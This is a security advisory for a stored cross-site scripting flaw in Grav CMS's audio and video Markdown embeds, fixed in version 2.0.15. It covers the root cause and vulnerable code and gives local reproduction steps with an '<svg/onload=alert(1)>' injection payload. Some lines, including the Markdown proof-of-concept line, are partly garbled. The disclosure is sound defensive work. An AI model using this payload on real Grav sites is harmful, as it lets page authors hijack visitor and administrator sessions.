getgrav/grav
Affected
- introduced
0, fixed2.0.15(ecosystem)
Fixed versions
2.0.15
Fix
The export has no generic command for this ecosystem.
Advisory
Also known as: CVE-2026-75831
Grav: Stored XSS via Markdown audio/video media <source> URL
Target: github.com/getgrav/grav
Affected resource: Grav\Common\Media\Traits\AudioMediaTrait / VideoMediaTrait sourceParsedownElement() — verified on 2.0.13 (latest stable) and develop HEAD 5a7070f
Severity: Medium (~6.9 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N — anchored to the sibling script-XSS advisory CVE-2026-42841, same PR:H / S:C / C:H / I:L)
Weakness: CWE-79 (Improper Neutralization of Input During Web Page Generation)
Summary
A Markdown audio or video embed renders its <source> element as raw HTML with the media URL concatenated unescaped. The URL fragment is reflected without any encoding, so >) breaks out of <source src="…"> and injects arbitrary HTML — including a script-executing <svg onload> — into the rendered page. Any user who views the page runs the attacker's JavaScript in their session; a logged-in administrator who views it exposes their same-origin Grav Admin session to the attacker's script.
This is the next sink in the media-parameter injection class the maintainer has been closing: GHSA-r7fx-8g49-7hhr (attribute()), GHSA-pmf8-g7c8-7v54 / CVE-2026-55890 (style(), 2.0.0-rc.9), and GHSA-ffmg-hfvg-jhg9 (resize(), 2.0.0-rc.10). All three guarded image style/attribute sinks; the `aba291a5` audit scoped itself to "sinks reaching the style attribute" and did not cover the audio/video <source> rawHtml sink, which reaches full script execution rather than CSS injection.
Root Cause
The audio/video player builds its inner source as Parsedown rawHtml (emitted verbatim, unescaped), concatenating the media URL directly into a double-quoted attribute — `AudioMediaTrait.php` L43-52 (identical in `VideoMediaTrait.php` L58-67):
protected function sourceParsedownElement(array $attributes, $reset = true)
{
$location = $this->url($reset);
return [
'name' => 'audio',
'rawHtml' => '<source src="' . $location . '">Your browser does not support the audio tag.',
'attributes' => $attributes
];
}
$location includes the URL fragment, which is stored with no encoding — `MediaObjectTrait::urlHash()` L240-249 only strips a leading #. Before that, the excerpt handler decodes the media URL with htmlspecialchars_decode(urldecode(...)), undoing Parsedown's escaping — `Excerpts.php` L188 — and routes the fragment to urlHash() at `Excerpts.php` L321-323. So ", <, >, =, (, ) in the fragment survive into the raw <source>.
Two defenses that stop the *querystring* path do not cover the *fragment*:
< only for title|textarea|style|xmp|iframe|noembed|noframes|script|plaintext. <svg> and <img> are not on the list, so they inject as live markup.__call querystring passthrough rawurlencodes its values, but the fragment never passes through it, so event-handler values (onload=alert(1)) keep their = ( ) and execute.The image render path is unaffected — an image's src goes into an htmlspecialchars-escaped attribute, not rawHtml.
Steps to Reproduce
Prerequisites
Step 1: Download Grav 2.0.13 (latest stable, self-contained core)
mkdir -p /tmp/grav-xss && cd /tmp/grav-xss
curl -L -o grav.zip https://github.com/getgrav/grav/releases/download/2.0.13/grav-v2.0.13.zip
unzip grav.zip
Step 2: Create a page with an audio file and a malicious Markdown embed
cd /tmp/grav-xss/grav
mkdir -p user/pages/03.poc
printf 'ID3fakeaudio' > user/pages/03.poc/sound.mp3
cat > user/pages/03.poc/default.md <<'MD'
---
title: XSS PoC
---
>)
MD
Step 3: Start Grav
php -S 127.0.0.1:8390 -t /tmp/grav-xss/grav /tmp/grav-xss/grav/system/router.php
Leave this running and open a new terminal for the next step.
Step 4: Fetch the rendered page and show the un-escaped injection
for i in $(seq 1 60); do (exec 3<>/dev/tcp/127.0.0.1/8390) 2>/dev/null && { exec 3>&-; break; }; sleep 1; done
curl http://127.0.0.1:8390/poc | grep -o '<audio.*</audio>'
Expected output:
<audio controls="controls" alt="sound"><source src="/user/pages/03.poc/sound.mp3?loading=auto&decoding=auto&fetchpriority=auto#"><svg/onload=alert(1)>">Your browser does not support the audio tag.</audio>
The <source src="…#"> is closed by the injected " and >, and <svg/onload=alert(1)> follows as live markup. Open http://127.0.0.1:8390/poc in a browser: the SVG's onload fires and executes alert(1) (screenshot: a document.body.innerHTML='XSS_…' variant rewriting the page). Video reproduces identically with an .mp4 file and the same fragment.
Suggested Fix
Escape $location with htmlspecialchars() before concatenating it into the <source src="…"> rawHtml in AudioMediaTrait::sourceParsedownElement() and VideoMediaTrait::sourceParsedownElement() (and any other rawHtml media sink), or build the <source> through Parsedown's escaped-attribute mechanism instead of a raw string. The URL fragment in MediaObjectTrait::urlHash() should also be encoded rather than passed through verbatim.
Cleanup
kill %1 2>/dev/null
rm -rf /tmp/grav-xss
Impact
Arbitrary JavaScript executes with no interaction in the session of any user who views a page that embeds a crafted audio/video file. The attacker is a page-content author (a Grav back-end user with page-edit rights, below super-admin); the injected <svg onload> runs in the viewer's origin — a published-page visitor (confirmed at runtime), or a logged-in administrator who views the page, whose same-origin Grav Admin session the script can then ride. This is a no-interaction sink: Grav's body renderer already passes interaction-based <a href="javascript:"> / <form action="javascript:"> raw but escapes auto-firing <img onerror> / <svg onload> on block tags — the audio/video <source> rawHtml path is the reliable auto-firing primitive that the three prior fixes (which constrained this same author→viewer boundary to safe CSS) left open.
Medium Basis: The source's own band: MODERATE
0, fixed 2.0.15 (ecosystem)2.0.15
The export has no generic command for this ecosystem.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0